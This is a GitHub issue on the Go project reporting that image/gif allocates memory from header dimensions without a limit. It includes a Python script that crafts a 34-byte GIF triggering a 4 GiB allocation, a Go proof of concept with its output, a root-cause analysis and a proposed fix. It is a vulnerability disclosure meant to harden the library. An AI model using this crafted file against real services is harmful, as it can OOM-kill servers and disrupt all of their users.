Skip to content

image/gif: improve documentation on how to avoid unexpected allocations by using image.DecodeConfig #79063

@jayantkamble10000

Description

@jayantkamble10000

Summary

image/gif allocates a pixel buffer sized directly from GIF header dimensions
with no upper bound. A 34-byte malicious GIF triggers a 4 GiB allocation in
under 3 ms
— before any pixel data is read.

Confirmed on Go 1.26.0 (macOS arm64, Linux amd64).


Reproduction

# gif_craft.py — creates the 34-byte malicious GIF
import struct
W = H = 65535
gif = bytearray()
gif += b'GIF89a'
gif += struct.pack('<HH', W, H)
gif += bytes([0xF0, 0x00, 0x00])
gif += bytes([0,0,0, 255,255,255])
gif += b'\x2C'
gif += struct.pack('<HHHH', 0, 0, W, H)
gif += bytes([0x40, 0x02, 0x01, 0x14, 0x00, 0x3B])
with open('/tmp/malicious.gif', 'wb') as f:
    f.write(gif)
print(f'{len(gif)} bytes written')

// gif_poc.go
package main

import (
    "fmt"
    "image/gif"
    "os"
    "runtime"
    "time"
)

func memMB() uint64 {
    var m runtime.MemStats
    runtime.ReadMemStats(&m)
    return m.Alloc / 1024 / 1024
}

func main() {
    f, _ := os.Open("/tmp/malicious.gif")
    defer f.Close()
    before := memMB()
    start := time.Now()
    _, err := gif.DecodeAll(f)
    fmt.Printf("Before: %d MB\nAfter:  %d MB (delta: +%d MB)\nTime: %v\nError: %v\n",
        before, memMB(), int64(memMB())-int64(before), time.Since(start), err)
}

Output:

Before: 0 MB
After:  4096 MB  (delta: +4096 MB)
Time:   2.503417ms
Error:  gif: not enough image data
The error fires after the 4 GiB allocation. The damage is already done.

Root Cause
newImageFromDescriptor() in src/image/gif/reader.go calls
image.NewPaletted() → pixelBufferLength() → make([]uint8, w*h).

pixelBufferLength() only guards arithmetic overflow (negative result on
32-bit). On 64-bit: 65535 × 65535 = 4,294,836,225 fits in int64no panic,
no error, 4 GiB allocated unconditionally.

The logical screen dimensions set in readHeaderAndScreenDescriptor() are
never validated for practical sizeonly that frame bounds fit within them.

http.MaxBytesReader does not helpthe 34-byte body is read in full
before any allocation limit is reached. The allocation comes from header
fields, not pixel data.

encoding/gob received equivalent hardening in Go 1.20 via
saferio.SliceCapWithSize. image/gif did not.

Proposed Fix
In src/image/gif/reader.go, readHeaderAndScreenDescriptor():

const maxGIFPixels = 1 << 26 // 64M pixels64 MB (comfortably covers 4K frames)

func (d *decoder) readHeaderAndScreenDescriptor() error {
    // ... existing parsing ...
    d.width  = int(d.tmp[6]) + int(d.tmp[7])<<8
    d.height = int(d.tmp[8]) + int(d.tmp[9])<<8

    if int64(d.width)*int64(d.height) > maxGIFPixels {
        return errors.New("gif: image dimensions too large")
    }
    // ...
}
Bounding the logical screen here covers all frame allocations
(since newImageFromDescriptor enforces framelogical screen)
including the second buffer allocated by uninterlace().

Impact
Any Go service calling image.Decode() or gif.Decode() on untrusted input
is affectedincluding applications that import _ "image/gif" indirectly.
One malicious upload OOM-kills the process, terminating all in-flight requests
from all other users simultaneously.

Amplification ratio: 34 bytes4,294,836,225 bytes (126,318,712 : 1)

---
**Title to use:**
image/gif: no allocation limit34-byte GIF triggers 4 GiB allocation before any pixel data is read

**Label to add:** `Security` (if available), `NeedsInvestigation`

Metadata

Metadata

Assignees

No one assigned

    Labels

    DocumentationIssues describing a change to documentation.NeedsInvestigationSomeone must examine and confirm this is a valid issue and not a duplicate of an existing one.help wanted

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions